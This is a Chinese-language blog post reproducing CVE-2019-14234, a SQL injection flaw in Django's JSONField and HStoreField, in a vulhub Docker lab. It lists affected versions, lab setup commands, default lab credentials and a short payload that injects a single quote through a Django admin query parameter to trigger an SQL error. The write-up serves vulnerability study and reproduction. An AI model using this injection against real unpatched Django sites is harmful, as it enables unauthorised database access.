Django JSONFieldHStoreField SQL 注入漏洞 (CVE-2019-14234)

0x01漏洞概述

Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。

Django 于 2019 年 8 月 1 日发布了一个安全更新,修复了 JSONField 和 HStoreField 两个模型字段中的 SQL 注入漏洞。

参考链接:

https://www.djangoproject.com/weblog/2019/aug/01/security-releases/
https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html

该漏洞要求开发人员使用JSONField/HStoreField;此外,还可以控制查询集的字段名称。Django的内置应用程序Django-Admin受到影响,这为我们提供了一种重现漏洞的简单方法。

0x02影响版本

Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4

0x03漏洞环境

1、启动漏洞环境

┌──(root㉿kali)-[~/vulhub/django/CVE-2019-14234]
└─# docker-compose up -d 

2、访问漏洞环境

http://your-ip:8000

3、复现完成后,删除漏洞环境

┌──(root㉿kali)-[~/vulhub/django/CVE-2019-14234]
└─# docker-compose down

0x04复现过程

1、访问网址:http://your-ip:8000/amin

账号:admin

密码:a123123123

2、登录以后访问http://your-ip:8000/admin/vuln/collection/

3、添加到GET参数,其中JSON字段

detail__a'b=123

将payload进行URL编码之后访问网址:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

可以看到单引号已成功注入,并且SQL语句报告错误

posted @ 2022-06-06 21:28  RichardYg  阅读(77)  评论(0编辑  收藏  举报